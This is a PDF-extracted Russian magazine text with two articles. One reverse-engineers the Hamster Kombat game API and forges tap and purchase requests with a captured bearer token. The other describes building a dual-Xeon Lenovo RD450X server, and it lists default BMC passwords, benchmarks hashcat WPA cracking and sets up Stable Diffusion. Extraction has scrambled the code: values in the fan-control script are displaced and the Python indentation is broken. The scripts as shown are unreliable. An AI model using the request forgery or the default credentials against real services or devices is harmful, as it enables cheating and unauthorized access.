Получилось!

Ура, игра нормально запускается в браузере. Теперь ничто не мешает поэк‐
спериментировать с  запросами. Принцип тут такой: открываем вкладку
Network, очищаем ее от  старых запросов, выполняем какое‑то действие
в  игре и  смотрим, какие запросы при  этом отправляются на  сервер. Нап‐
ример, попробуем купить какую‑нибудь карточку.

Запрос на покупку

Несложно заметить, что при этом отправляется POST-запрос на следующий
адрес:

https://api.hamsterkombatgame.io/clicker/buy-upgrade


Заглянув на  вкладку Payload, можно увидеть, что в  запросе передаются два
параметра:

{upgradeId: "hamster_youtube_gold_button", timestamp: 1722086163455}

Параметр  очень напоминает название карточки, которую мы

купили, ну а  параметр , судя по  его названию и  содержимому,
очень похож на  время в  юниксовом формате. Любопытства ради заглянем
в  ответ на  запрос (вкладка Response), а  там просто счастье  — куча разных
параметров игры, среди которых есть полные характеристики всех карточек:

upgradeId
timestamp

{
    "clickerUser": {

        "id": "ХХХХХХХХХХХХ",
        "totalCoins": 5389463.6559000015,

        "balanceCoins": 4603871.6559000015,
        "level": 6,

        "availableTaps": 3500,
        "lastSyncUpdate": 1722086163,

        "exchangeId": "mexc",
   ...
    "upgradesForBuy": [
       {

            "id": "ceo",
            "name": "CEO",
            "price": 725363,

            "profitPerHour": 2789,
            "condition": null,

            "section": "PR&Team",
            "level": 16,

            "currentProfitPerHour": 2513,
            "profitPerHourDelta": 276,

            "isAvailable": true,
            "isExpired": false

       },
       {

            "id": "marketing",
            "name": "Marketing",
            "price": 8557,

            "profitPerHour": 838,
            "condition": null,

            "section": "PR&Team",
            "level": 9,

            "currentProfitPerHour": 718,
            "profitPerHourDelta": 120,

            "isAvailable": true,
            "isExpired": false

       },
       ...
   }
   ...
}

Получается, что, во‑первых, мы можем покупать карточки с  помощью зап‐
роса, а  во‑вторых, после каждой покупки будем получать в  ответ обновлен‐
ные характеристики всех карточек. Чудесно. И  стоило мучиться с  распозна‐
ванием скриншотов...

Эксперименты с самой большой круглой кнопкой показали, что на сервер
отправляется не каждое нажатие. Игра определяет серию последовательных
кликов, а затем отправляет сразу количество нажатий и количество оставших‐
ся монет с помощью POST-запроса на следующий URL:

https://api.hamsterkombatgame.io/clicker/tap


И передает эти параметры:

     data = {
         "count": 500, # Число нажатий

        "availableTaps": 0,
        "timestamp": timestamp()

   }

Следует только быть внимательным при  расчете параметра , чтобы

при умножении его на количество монет за один тап и вычитании полученного
значения из  общего количества доступных монет получалось значение

.

count

availableTaps

Пишем скрипт
Теперь, когда мы разобрались с  необходимыми для  взаимодействия с  сер‐
вером запросами и  их параметрами, настало время немножко покодить.
Пишем скрипт на Python:

 import requests
   from time import time

 def tap():
     url = "https://api.hamsterkombatgame.io/clicker/tap"

     data = {
        "count": 500,

        "availableTaps": 0,
        "timestamp": int(time())

   }

      response = requests.post(url, json=data)

      if response.status_code == 200:
       try:

             result = response.json()
            return result

          except ValueError as e:
           print(f"{e}")

            return None

    print(f"Error: {response.status_code, response.text}")
    return None

print(tap())

После запуска получаем в  ответ ошибку  422. Причин возникновения такой
ошибки может быть весьма много. Сервер может ее вернуть, если в  целом
запрос верный, но ему что‑то не нравится. Внимательно смотрим на скрипт
и  понимаем: в  нем нигде не  сказано, кто мы. Мы указали, что мы тап‐
нули 500 раз, но как игра поймет, какой пользователь это сделал?

Если повнимательнее изучить оригинальный запрос на tap через DevTools
браузера, то можно заметить, что в  заголовках запроса есть поле
Authorization, содержащее вот такое значение:

Bearer 32432432432432432446t...cfC1y523432432432419


Попробуем изменить скрипт, вместо строки с  запросом 

 напишем следующий код:

response = 
requests.post(...)

     key = '32432432432432432446t...cfC1y523432432432419'
      headers: dict = {

        'User-Agent': 'Mozilla/5.0 (Linux; Android 14; Nokia 3310; 
wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.
3904.108 Mobile Safari/537.36',

        'Content-Type': 'application/json',
        "Authorization": f"Bearer {key}",

   }

       response = requests.post(url, json=data, headers=headers)

Теперь в ответ приходит JSON c обновленной конфигурацией, а в интерфей‐
се игры отображаются изменения, как будто мы действительно тапнули ука‐
занное количество раз. Осталось добавить цикл, который будет, например,
периодически тапать один раз, получать в  ответ обновленный конфиг,
в  котором написано, сколько раз еще  есть смысл тапать, и  во второй раз
посылать уже скорректированный запрос.

Полный код я здесь приводить не буду — можешь написать свою реали‐
зацию в  качестве домашнего задания. Вообще говоря, смысл тапать про‐
падает довольно быстро, потому что доход от  тапов становится несоизме‐
римо малым по сравнению с пассивным доходом от покупки карточек. У меня,
например, тапы начисляются со  скоростью три монеты в  секунду, а  пас‐
сивный доход — 1500 монет в секунду, так что смысл тапать мизерный.

Попробуем лучше добыть список карточек с  ценами и  привести его
в  удобный вид. Как  оказалось при  анализе запросов, помимо запроса
на покупку, есть еще запрос на просто обновление характеристик, он‑то нам
и нужен:

https://api.hamsterkombatgame.io/clicker/upgrades-for-buy


Никаких параметров ему передавать не надо, кроме токена в заголовке, а в
ответ он присылает JSON с кучей параметров. Наша задача — достать оттуда
параметры карточек, вычислить цену прибавки для  каждой карточки
и отсортировать их от самых дешевых к самым дорогим. У меня получилось
так:

 def get_cards():
     key = '32432432432432432446t...cfC1y523432432432419'
      headers: dict = {

        'User-Agent': 'Mozilla/5.0 (Linux; Android 14; Nokia 3310; 
wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.
3904.108 Mobile Safari/537.36',

        'Content-Type': 'application/json',
        "Authorization": f"Bearer {key}",

   }
     url = "https://api.hamsterkombatgame.io/clicker/upgrades-for-buy"
      response = requests.post(url, headers=headers)
      if response.status_code == 200:
       try:

             data = response.json()
             cards = []

              for task in data["upgradesForBuy"]:
      

     
               if task["isAvailable"] == True and task["isExpired"]
== False and task["profitPerHourDelta"] > 0:

                     section = task["section"]
                     name = task["name"]
                     price = task["price"]

                     profitPerHour = task["profitPerHourDelta"]
                       udel_cena = price / profitPerHour

                   cards.append(
                          [section, name, price, int(udel_cena)])

                sorted_cards = sorted(cards, key=lambda x: x[3])
              for card in sorted_cards:

               print(f"{card[3]}:\t{card[2]}:\t{card[1]}:\t{card[0]}
")

          except ValueError as e:
           print(f"{e}")

В результате получаем список карточек, отсортированный по  уменьшению
«выгодности»:

7:  551:    HamsterBook:    PR&Team

7:  606:    X:  PR&Team

7:  2000:   Risk management team:   PR&Team

7:  7757:   Special Hamster Conference: Specials

7:  2327:   Hamster YouTube Channel:    Specials

7:  11000:  Web3 academy launch:    Specials

8:  2205:   IT team:    PR&Team

...

200:    1000000:    TON + Hamster Kombat = Success: Specials

1000:   5000000:    Call for BTC to rise:   Specials

1000:   1000000:    HamsterWatch for soulmate:  Specials

2628:   725363: CEO:    PR&Team

4000:   12000000:   Business jet:   Specials


Что и  требовалось доказать, в  общем‑то. На  а дальше уже можно сделать
полностью автоматическую тапалку, которая будет периодически отправлять
на сервер инфу о нажатиях кнопки, запрашивать баланс и при необходимости
покупать наиболее выгодные карточки.

ВЫВОДЫ

Итак, мы научились:
использовать ADB для эмуляции нажатий;•
распознавать текст со скриншотов, чтобы управлять программой;•
анализировать и подделывать сетевые запросы.•

В моем случае начинать, конечно, стоило с  изучения доступной части кода
игры, а применять ADB и OCR только в самом крайнем случае, если бы ока‐
залось, что код сильно обфусцирован или  содержит сложную защиту. Тем
не менее знать о таких подходах необходимо, потому что в других условиях ты
можешь столкнуться как раз с такими случаями.

Дополнительно отмечу, что при  написании своего скрипта для  автомати‐
зации обязательно нужно выделить время на  изучение возможных лимитов
на  использование API, таких как  количество запросов в  секунду, количество
аккаунтов на  одном IP и  так далее, иначе можно нарваться на  блокировку
аккаунта.

Что касается оптимальных стратегий в Hamster Kombat, можно подумать,
что выгоднее: покупать любые доступные карточки, лишь  бы увеличивать
доходность, или подождать какое‑то время и подкопить на наиболее выгод‐
ные карточки, или планировать покупку нескольких карточек в определенной
последовательности в зависимости от их характеристик.

В общем, игры должны быть развлекательными, и мы, я считаю, развлек‐
лись на славу!



Candidum
duospirit@gmail.com

GEEK

Недавно мне попалась на  глаза матплата
Lenovo RD450X с  подозрительно низкой
ценой, в  полтора раза дешевле Huananzhi
X99 F8D. Она и  сейчас дешевле. Очень
это было заманчиво, тем более что я давно
хотел пощупать двухпроцессорную сис‐
тему.

Моей целью было собрать еще один компьютер для научных расчетов, одна‐
ко, как  и в  прошлый раз, эта система подойдет и  для других целей. Собрав
машину, я протестировал ее возможности на брутфорсе хешей и генератив‐
ных нейросетях, помимо научных вычислений. Результатами я поделюсь
в конце статьи.

INFO

О моем прошлом опыте читай в  статье «

».

Мегас‐
четы. Собираем мощный компьютер для  вычис‐
лений

ХАРАКТЕРИСТИКИ

Матплата, которая меня заинтересовала, поддерживает процессоры Xeon
E5-26XX v3 и v4, то есть вроде как всю линейку (кроме E5-2696 v4 и E5-2687W
v4), но к этому вернемся позже. Поддерживается память ECC REG — вплоть
до DDR4-2400, 16 слотов, то есть можно запихать до 1 Тбайт памяти. Также
есть два PCI-E (3.0) x16 и четыре PCI-E x8, два USB 3.0. С дисками тоже все
хорошо: на  плате два разъема Mini SAS 8087  и  еще пара SATA. Ну и  напос‐
ледок две сетевухи  10  Гбит/с и, конечно, BMC, встроенная видео (ASPEED
AST2400). И все это в форм‑факторе E-ATX. И все это меньше чем за 10 тысяч
деревянных!

INFO

С ценами сейчас неопределенность: с одной сто‐
роны, все описанное железо уже старье
и дешевеет, но с другой — кризис чипов, кризис
логистики, политическая нестабильность, сан‐
кции и  торговые войны, поэтому цена уже пару
лет стабильно держится на уровне 10 тысяч руб‐
лей. Правда, сейчас на  «Алиэкспрессе» ее
не купить — продавцы опасаются санкций. Так что
остаются перекупы с  «Авито» и  прочие способы
серого импорта.

КОМПЛЕКТ

Процессоры
Как я уже  в прошлой статье, наиболее разумный выбор процес‐
сора для  меня  — это  Xeon E5-2690 v4. У  него достаточно ядер (14) и  буст
на все ядра 3200 МГц, а цена вполне демократичная. Да что там демократич‐
ная, эти процы стоят дешевле кулеров, которые мы поставим!

рассказывал

Получится по 135 Вт на камень, что для нашей платы, конечно, многовато.
Штатно в ней стоит что‑то вроде 2640 v4 (90 Вт), но практика показала, что
плата выдержит. На данный момент у меня уже около года наработки 24/7.

В итоге имеем  28  ядер, 56  потоков и  3200  МГц при  полной нагрузке  —
достаточно серьезно даже по нынешним временам. Конечно, было бы круто
впихнуть туда E5-2699 v4  или  E5-2696 v4, но  первый камень стоит уж очень
дорого (кратно дороже E5-2690 v4  при  быстродействии на  30% больше),
а E5-2696 v4 не запускается, это я лично проверил. Было грустно.

Память
Тут все хорошо, старые «Зионы» всеядные, и можно даже в голову не брать,
какой у тебя подтип памяти и какой у нее ранк. Впрочем, тут все гладко еще и
оттого, что б/у память, скорее всего, с тех же серверов, что и б/у процы. Если
собираешься занять все слоты, то стоит брать , иначе может
не завестись на 2400 МГц. В общем, берем восемь планок по 64 Гбайт ECC
REG PC4-2400.

LRDIMM

У меня стоят планки фирмы Kllisre и вот уже год работают без нареканий.
Повезло, наверное! Память  — это  то, на  чем в  этой машине можно хорошо
сэкономить, я собирал с  основным прицелом на  квантовую химию, поэтому
памяти много, и это почти половина стоимости. Для нейросетей, например,
можно и поскромнее раза в четыре.

Диски
На этот раз я выбрал чуть более скромную конфигурацию: 256  Гбайт SATA
SSD под систему, 512 Гбайт NVME SSD под расчеты и пара 4 Тбайт SATA HDD
для  хранения результатов. Можно сказать, что сюда я сбагрил остаток хар‐
дов. Учитывая огромный объем памяти и хорошо работающее кеширование,
разницы в большинстве рабочих задач между SATA и NVME на глаз не замет‐
но.

Видеокарты
Квантово‑химический софт в настоящее время дружит с видеокартами огра‐
ниченно. Но  на этот раз хотелось, помимо квантовой химии, заняться ИИ,
а  он как  раз замечательно дружит с  видеокартами. Но  уверенности, что эти
занятия превратятся во что‑то серьезное, у меня пока нет, так что на видяхе я
решил сэкономить. Лучший вариант из бюджетных — GTX 1080 Ti, цены на них
начинаются примерно с  10  тысяч рублей, и  видеопамяти там прилично  —
11 Гбайт. Короче, для баловства сойдет.

Блок питания
Блок питания я взял с  некоторым запасом по  мощности  — DeepCool 850W.
Тут главное, чтобы были два восьмипиновых провода для  CPU, ну а  шес‐
типиновый и 6+2-пиновый для видеокарты сейчас есть в любом блоке. Этот
блок питания у меня работает уже второй год 24/7.

Корпус и кулеры
Вот тут уже чуть хитрее: нам нужен корпус E-ATX, причем такой, чтобы можно
было организовать хорошую продуваемость. Отлично подошел DeepCool
Matrexx 55 Mesh. Дешево, сердито и симпатично! Я купил его в минимальной
комплектации и  добавил пять кулеров ARCTIC P14 ACFAN00136A: три
на фронтальной панели на вдув и два сверху на выдув. Бренд тут не так важен,
главное, чтобы кулеры были четырехпиновые и  имели максимально воз‐
можную производительность. У  указанных кулеров производительность  72,5
CFM. Вентилятор на  задней панели тоже лучше заменить более произво‐
дительным, например ID-Cooling XF-120, он выдает 76,16 CFM.

Почему нужны именно четырехпиновые? Потому что в такой конфигурации
важен контроль оборотов. Без нагрузки система будет достаточно холодной,
и нет никакого резона гонять через нее  лишнюю пыль
и косплеить пылесос. С другой стороны, под полной нагрузкой греться сис‐
тема будет очень прилично, и  тут лучше разогнать кулеры как  следует.
Хороший вариант  — взять родной  2U-корпус с  рук, но  это может обойтись
дороже материнской платы.

радиоактивный пепел

РЕШАЕМ ПРОБЛЕМЫ

Начинаем собирать и что видим? Материнская плата, конечно, на место вста‐
ет нормально, но  неясно, куда подключать переднюю панель! Черт с  ним
с  USB, но  на передней панели есть еще  небесполезная кнопка включения.
Начинаем гуглить, и  тут приходит понимание, почему плата была такой
дешевой. Дело в том, что к ней практически нет документации, мануал только
на китайском и не для платы, а для OEM-сервера Lenovo RD450X, а там нет
никакой распиновки разъемов.

К счастью, на  форуме  есть посвященная этой плате тема,
сейчас она уже разрослась, и энтузиасты успели много чего накопать, а вот
год назад все было гораздо хуже. Тем не  менее там есть упомянутый выше
мануал и распиновка разъема.

overclockers.ru

После длительного рассматривания фотографий этой платы я пришел
к выводу, что нас интересуют разъемы, указанные на картинке ниже.

Интересующие нас разъемы

Смотрим и понимаем, что у них шаг 2 мм и без переходника тут не обойтись.
Судя по отзывам, многие продавцы комплектуют плату несколькими переход‐
никами и перемычкой, без которой плата не стартует.

Переходник

Перемычка

А еще  встречается целая плата‑переходник, которую тоже могут включить
в комплект.

Плата‑переходник

Моя была укомплектована только перемычкой (и на  том спасибо), поэтому,
воспользовавшись распиновкой с форума, я спаял такой переходник сам —
хорошо, что под рукой был нужный разъем.

Распиновка с форума

Мой переходник

И, как будто этого недостаточно, разъемы выведены вбок, точнее вниз, если
смотреть в корпусе. А это значит, что не выйдет подключить наш переходник,
не  внеся модификации в  корпус. Что ж, мы люди простые! Берем дремель
и пропиливаем окно нужного размера.

Модифицированный корпус

После допиливания все помещается. Следующей трудностью была задняя
заглушка в корпус, она немного не совпадала с разъемами на материнской
плате, тут помогли ножницы по  металлу (там буквально пара миллиметров),
половину бортика пришлось отрезать. После этого все встало как надо. Такая
вот расплата за  OEM. Теперь можно закрепить материнскую плату и  прис‐
тупить к кабель‑менеджменту.

Кабель‑менеджмент

Не забываем про переходник.

Переходник

Все готово! А вот про заморочки с охлаждением стоит поговорить особо.

Продолжение статьи
→
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https://xakep.ru/2024/02/20/high-spec-pc/
https://xakep.ru/2024/02/20/high-spec-pc/
https://servomarket.ru/blog/polezno-znat/lrdimm-i-rdimm-/
https://forums.overclockers.ru/viewtopic.php?f=1&t=638746


ЗАДАЧА ПРО ДВА
КАМНЯ

СОБИРАЕМ КОМПЬЮТЕР
С СЕРВЕРНОЙ МАТПЛАТОЙ LENOVO

RD450X
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НАЧАЛО СТАТЬИ←

ОХЛАЖДЕНИЕ ПРОЦЕССОРОВ

У меня возникла проблема с подбором кулеров для процессоров. Дело в том,
что плата серверная и крепления там Narrow ILM 94 × 56. Это неприятно, так
как  у бытовых «башен» крепление Square ILM 80 × 80. Тут надо быть вни‐
мательным, эти крепления несовместимы между собой.

Наглядные отличия Narrow ILM и Square ILM

Впрочем, существуют башни со  сменными креплениями и  пластиковый кре‐
пеж для Narrow ILM, но с ним есть неприятность: он широковат и почти упи‐
рается в память, поэтому если на планках памяти стоят радиаторы, то умес‐
тить всё вместе не выйдет.

Пластиковое крепление Narrow ILM

Чтобы избежать этих проблем, я решил взять серверные кулеры — они, мож‐
но сказать, родные, и с ними все хорошо, кроме цены: стоят они дороже про‐
цессоров... Впрочем, проблем я таки не избежал, и первоначально приобре‐
тенные низкопрофильные кулеры под  корпус  2U оказались слабоваты
(70 градусов в полной нагрузке) и шумели примерно как фен!

Низкопрофильные кулеры 2U

В целом это  решение оказалось непригодным, пришлось раскошелиться
и взять две 3U-башни. Вот с ними все хорошо, температура около 55 в пол‐
ной нагрузке, и  шума значительно меньше. Как  говорится, скупой платит
дважды.

Башня 3U

Про управление оборотами кулера стоит поговорить отдельно. Несмотря
на  то что плата серверная и  имеет BMC, контроль оборотов кулеров там
не предусмотрен, что очень неудобно. В интернете пишут, что, когда в плате
стоят процы, с которыми она поставлялась, работает какой‑то предустанов‐
ленный профиль, однако с прочими процами кулеры всегда работают на пол‐
ную. Наши  2690 v4  — именно такие процессоры. Это  проблема, так как  на
холостом ходу большой поток воздуха способствует активному накоплению
пыли, а уж про шум я молчу. При этом под полной нагрузкой нужно хорошее
охлаждение, и там полные обороты уместны.

Короче, активное управление скоростью вращения кулеров просто необ‐
ходимо. Эту проблему я решил подключением внешнего контроллера с USB-
интерфейсом, о котором я тоже писал . Решение, возможно, не очень
элегантное, но рабочее и достаточно надежное.

статью

Не так давно  таки раскопали способ штатного контроля обо‐
ротов кулеров с  помощью утилиты ipmitool. К  несчастью, когда я собирал
машину, ту статью я не  нашел, а  может, ее и  вовсе не  было. Так или  иначе,
сейчас я бы попробовал использовать ipmitool. Приведенный ниже код дол‐
жен работать, однако я его не проверял, поэтому рассматривай его как кон‐
цепт.

энтузиасты

#!/bin/zsh

#!/bin/zsh

30
OLDPWM=
30
PWM=

# Если файл /tmp/old_pwm существует, выход с кодом 2. Это 
предотвращает повторный запуск скрипта, если он уже выполняется.

   if [ -e /tmp/old_pwm ]; then
2
   exit 

fi

# Будем в цикле проверять температуру и регулировать скорость 
вентилятора.

    while [ true ]; do
   # Получаем текущую температуру процессора утилитой sensors.
     |   |   temp=$(sensors | grep "Package id 1:" awk '{print $4}' tr -d
'+°C')
   temp=${temp%.*}

   # Получаем предыдущее значение широтно-импульсной модуляции из 
файла, если он существует.
   # Это значение будет использоваться для сравнения с новым 
значением, чтобы определить, нужно ли изменять скорость вентилятора.
      if [ -e /tmp/old_pwm ]; then

        OLDPWM=$(head -1 /tmp/old_pwm)
   fi

   # Устанавливаем начальное значение ШИМ на 30. Далее будем 
корректировать это значение в зависимости от текущей температуры.
   30
PWM=
       40  40  if [ $temp -ge ]; then PWM= ; fi

    45  50     if [ $temp -ge ]; then PWM= ; fi
    50  70     if [ $temp -ge ]; then PWM= ; fi
    55  80     if [ $temp -ge ]; then PWM= ; fi
    60  90     if [ $temp -ge ]; then PWM= ; fi
    65  100     if [ $temp -ge ]; then PWM= ; fi

   # Сохраняем новое значение ШИМ в файл /tmp/old_pwm.
     echo $PWM > /tmp/old_pwm


   # Если новое значение ШИМ отличается от предыдущего, изменяем 
скорость вентилятора.
   # Используем утилиту ipmitool для отправки команды на изменение 
ШИМ.
         if [[ $PWM != $OLDPWM ]]; then
       sudo ipmitool raw 0x2e 0x30 00 00 $PWM
   fi

   # Ждем 30 с перед следующим циклом.
   30
sleep 
done

В общем, читаем температуру из вывода , обрабатываем и выставля‐
ем обороты кулеров, но на этот раз через .

sensors
ipmitool

ПРОЧИЕ ОСОБЕННОСТИ

Есть у этой материнской платы еще несколько особенностей. Например, пер‐
вое включение после долгого пребывания в обесточенном виде может занять
много времени. Однажды она стартовала больше пятнадцати минут! Поэтому
не стоит паниковать раньше времени, иногда нужно просто подождать. Надо
также сказать, что до  того момента, как  загрузится контроллер BMC,
материнская плата не реагирует на кнопку включения, а загружается он около
минуты.

После первого запуска перезагрузка происходит уже значительно быс‐
трее, но  это тоже занимает пару минут. Приходится ждать, пока контроллер
проведет диагностику оборудования и памяти, а ее у меня много. Плата нор‐
мально стартует в режиме , однако с записью номер  могут быть

проблемы, остальные номера работают корректно.

EFISTUB 0000

У платы есть BMC, но возможности там скудные. Впрочем, может быть, я
не  оценил их, поскольку использую плату не  вполне по  назначению. Доступ
к BMC возможен только с отдельного сетевого интерфейса.

С логином и паролем тоже может быть некоторая загвоздка, но известны
стандартные пары:

lenovo1/Lenovo123

lenovo/len0vO

ADMIN/ADMIN

albert/admin


У меня сработала последняя пара.
В любом случае в  UEFI есть настройка пользователей BMC, там можно

и пользователя добавить, и пароль сбросить.

ФИНАЛЬНАЯ КОНФИГУРАЦИЯ

Итак, вот что у меня получилось в итоге:
CPU: 2 × Xeon 2690 v4•
GPU: Nvidia GTX 1080 Ti•
RAM: 512 Гбайт (8 × 64) ECC REG DDR4 2400 МГц•
HDD: 2 × 4 Тбайт WD Purpule•
SSD: 256 Гбайт SATA SSD + 512 Гбайт NVME SSD•

ТЕСТ-ДРАЙВ

А теперь перейдем к  самому интересному: проверим, что можно выжать
из этой машины. Как оказалось, выжать можно достаточно! Я установил акту‐
альный  на SATA SSD, но разницы с NVME особой нет, так как опе‐
ративки вагон и  кеширование все сглаживает. Также я включил параметр
ядра , что прибавило 5–10% к быстродействию.

Arch Linux

mitigations=off

Кванты
Начнем, пожалуй, с того, ради чего все и затевалось, — с квантово‑химичес‐
ких расчетов. Ради них, собственно, тут куча ядер и  много памяти. Как  и
в  , запускаем тестовый расчет энергии молекулы среднего раз‐
мера с отключенными ускорялками и аппроксимациями.

прошлый раз

Тестовая молекула

Расчет проводится в  программном пакете ORCA 5.0.4, входной файл преж‐
ний.

! UKS b3lyp def2-tzvp tightscf defgrid3 nocosx nori

%pal nprocs N end

%method

AngularGrid 7

IntAcc 5.670

GridPruning OldPruning

BFCut 1e-11

WeightCut 1e-14

end

* xyz 0 1

7        5.263365000     -0.809094000      0.301207000

6        6.573875000     -0.272788000      0.577214000

6        7.676247000     -1.298471000      0.365855000

6        9.040975000     -0.709409000      0.673148000

7       10.148432000     -1.562897000      0.289452000

6       10.248995000     -2.816903000      1.002416000

6       11.415931000     -0.834654000      0.299215000

6       11.219991000     -3.722976000      0.274540000

6       12.616201000     -1.728404000      0.596641000

7       12.479498000     -3.040776000      0.008370000

6       13.574798000     -3.784343000     -0.374628000

6       13.407266000     -5.070792000     -0.923040000

6       14.889954000     -3.303523000     -0.241151000

6       14.497437000     -5.811691000     -1.337626000

6       15.954215000     -4.072569000     -0.671221000

6       15.794150000     -5.329993000     -1.225769000

7        4.835772000     -0.973795000     -0.996077000

6        4.395529000     -1.271139000      1.257513000

6        3.654749000     -1.533350000     -0.876188000

7        3.327586000     -1.736522000      0.465013000

6        2.715758000     -1.933372000     -1.852204000

6        1.545454000     -2.496808000     -1.443497000

6        2.154252000     -2.302219000      0.878375000

6        1.256931000     -2.685894000     -0.059367000

8        4.488440000     -1.288606000      2.474129000

17      17.581746000     -3.423758000     -0.479631000

1        2.033998000     -2.399764000      1.945985000

1        0.324817000     -3.133479000      0.248767000

1        0.816928000     -2.808697000     -2.178230000

1        2.953860000     -1.780764000     -2.894034000

1        6.554111000      0.068581000      1.610272000

1        6.717863000      0.592377000     -0.068151000

1        7.466435000     -2.155921000      1.004541000

1        7.658018000     -1.645300000     -0.666511000

1        9.150192000      0.220009000      0.109847000

1        9.093457000     -0.427101000      1.740796000

1       11.542924000     -0.345204000     -0.668225000

1       11.416418000     -0.043022000      1.063859000

1       13.490643000     -1.237666000      0.182744000

1       12.779915000     -1.795333000      1.679456000

1       11.393404000     -4.624746000      0.871541000

1       10.758268000     -4.030853000     -0.666412000

1       10.539040000     -2.692732000      2.059832000

1        9.281760000     -3.312189000      1.005791000

1       15.101308000     -2.351050000      0.214305000

1       16.645962000     -5.907387000     -1.549807000

1       14.333360000     -6.792112000     -1.764807000

1       12.419211000     -5.483721000     -1.049190000

*


Запускаем, смотрим и добавляем новую строчку в рейтинг расчетных машин.

i3-8100 4x3.60GHz 00:39:58

Ryzen 5500U 6x2.1GHz 00:31:24

i7-8700 6x3.2 GHz /8Gb DDR4 2666MHz /SATA HDD 0:30:18

dual Xeon X5650, 12x2.7GHz /144Gb DDR3 /ATA HDD 00:29:45

Xeon E5-2658v3 12x2.6GHz /32Gb DDR4 2133MHz /SATA HDD 00:23:15

i5-10600K, 6x4.5GHz /16Gb DDR4 /SDD   00:22:43

AMD Ryzen 7 3700X 8x3.6GHz   00:19:07

dual Intel Xeon E5-2680v2 10x3.6 GHz /64Gb DDR3 1066MHz /HDD 00:17:17

i9-10920x 12x3.5GHz /128Gb DDR4/M.2 SSD 00:14:40

dual Intel Xeon E5-2697v2 12x2.7GHz /256Gb DDR3 1600MHz /SATA HDD 0:
12:57

AMD Ryzen 9 5900X/32Gb/HDD 00:12:23

Xeon 2696v4 22x2.8GHz /512Gb DDR4 2400MHz /RAID0 M2 SSD 00:10:53

AMD Ryzen 9 5950X 16x3.4GHz /64Gb DDR4 /M.2 SSD 00:07:33

---

dual Intel Xeon E5-2690v4 14x3.2GHz /512Gb DDR4 2400MHz /NVME SSD 0:
07:24

---

Ryzen Threadripper 3970x, 32x3.7GHz /256Gb DDR4 3200MHz /SSD  0:05:32


Видим, что на  этот раз мы обошли даже Ryzen 9  5950X и  уступили только
Ryzen Threadripper 3970x. Я думаю, что это очень хороший результат. На этой
машине за  минувший год было много чего посчитано (и что‑то даже опуб‐
ликовано). Самый длительный расчет занял примерно две недели в  полной
нагрузке, и  машина показала себя очень хорошо. Работает стабильно,
не перегревается.

Брутфорс
Полноценно брутить пароли Wi-Fi, как в прошлый раз, я не стал, просто уста‐
новил , драйверы Nvidia для  CUDA и 

для работы на CPU. Пакет  можно тянуть с  .

hashcat intel-opencl-runtime
intel-opencl-runtime AUR

Запускаем тест:

 1,2  hashcat -D -b -m 22000 |tee hashcat_report.txt


Получаем следующий результат:

CUDA API (CUDA 12.5)

====================

* Device #1: NVIDIA GeForce GTX 1080 Ti, 8701/11165 MB, 28MCU


OpenCL API (OpenCL 2.1 LINUX) - Platform #2 [Intel(R) Corporation]

==================================================================

* Device #2: Intel(R) Xeon(R) CPU E5-2690 v4 @ 2.60GHz, 257893/
515851 MB (64481 MB allocatable), 56MCU


Benchmark relevant options:

===========================

* --opencl-device-types=1,2

* --optimized-kernel-enable


---

* Hash-Mode 22000 (WPA-PBKDF2-PMKID+EAPOL) [Iterations: 4095]

---


Speed.#1.........:   622.3 kH/s (90.12ms) @ Accel:32 Loops:512 Thr:
512 Vec:1

Speed.#2.........:    81546 H/s (87.04ms) @ Accel:1024 Loops:512 Thr:
1 Vec:8

Speed.#*.........:   703.9 kH/s


Видим и  здесь хороший прирост быстродействия по  сравнению с  моей
прошлой машиной. Два Xeon 2690 v4  дают  81  546  хешей в  секунду про‐
тив 52 739 на Xeon 2696 v4. Что любопытно, два Xeon 2690 v4 стоят раза в два
дешевле, чем 2696 v4.

Видеокарта, как  и в  прошлый раз, ожидаемо уделывает CPU
и дает 622,3 килохеша в секунду против 457,5 для GTX 1080 (без Ti). Отсюда
вывод  — лучше брать версию с  Ti, так как  разница в  цене несущественна,
а быстродействия и памяти заметно больше.

Суммарно имеем  703,9  килохеша в  секунду, что почти в  полтора раза
больше, чем в прошлый раз. Не 4090, конечно, зато дешево и сердито. Лет
пять назад мне такой хешрейт казался фантастическим.

Stable Diffusion
Генеративные нейросети  — это  весьма интересная и  актуальная тема. Учи‐
тывая претензии нашей сборки на звание расчетного сервера, глупо не поп‐
робовать запустить нейросетку. Из того, что можно сейчас запустить офлайн,
самым популярным вариантом, вероятно, будет Stable Diffusion, его
и выберем.

Читай также по теме Stable Diffusion

• Stable Diffusion XL. Генерируем картинки нейросетью на своем компьюте‐
ре

• Stable Diffusion XL. Выбираем модели, рефайнеры, лоры и стили
• ReForge. Улучшаем картинки, генерируемые Stable Diffusion

Использовать будем интерфейс , c Arch Linux он, конечно,
не очень дружит (нужны pip и Python 3.10), зато информации по нему полно.
Ставим из AUR . Пишут, если подрихтовать установочный файл, то
можно запустить с  актуальной версией Python, но  у меня не  получилось.
В будущем разработчики обещают исправить это.

AUTOMATIC1111

Python 3.10

Качаем файлик инсталлятора:

wget https://raw.githubusercontent.com/AUTOMATIC1111/stable-
diffusion-webui/master/webui.sh


Править его не придется, свежеустановленный Python 3.10 он подхватит сам.
Запускаем, и  инсталлятор сам скачает все нужные файлы и  зависимости.
В результате скрипт создаст папку , установит туда
Stable Diffusion и даже сразу запустит.

stable-diffusion-webui

Если все работает правильно, то смело жмем Ctrl-C. У нас же не рабочая
станция, а  сервер, поэтому переходим в  папку 
и запускаем  с параметром  в фоне.

stable-diffusion-webui
webui.sh --listen

$cd stable-diffusion-webui

$nohup webui.sh --listen &


Теперь можно подключиться к веб‑интерфейсу, набрав его адрес в браузере:

http://server_ip:7860/


Веб‑интерфейс

Осталось только скачать пару‑тройку моделей. Могу порекомендовать 
 и  . Класть их нужно вот сюда:

lyriel
v16 Chip_n_DallE

stable-diffusion-webui/models/Stable-diffusion/


Что писать в промпте и куда жать потом, обсуждать лишний раз не будем. Нас
больше интересует быстродействие. Если генерировать изображения 512 ×
512, то это  займет около семи секунд на  дефолтных настройках. То есть
за  минуту можно нашлепать десяток картинок, что вполне приемлемо. Если
перейти на  разрешение  1024 × 1024, то на  картинку уходит около минуты,
и это уже неприятно.

Что же до  сравнения быстродействия CPU и  GPU, то GTX 1080 Ti ведет
с хорошим отрывом: 7 с против 30 с, которые потребовались двум Xeon 2690
v4. Поэтому, используя CPU с  таким огромным количеством памяти, можно
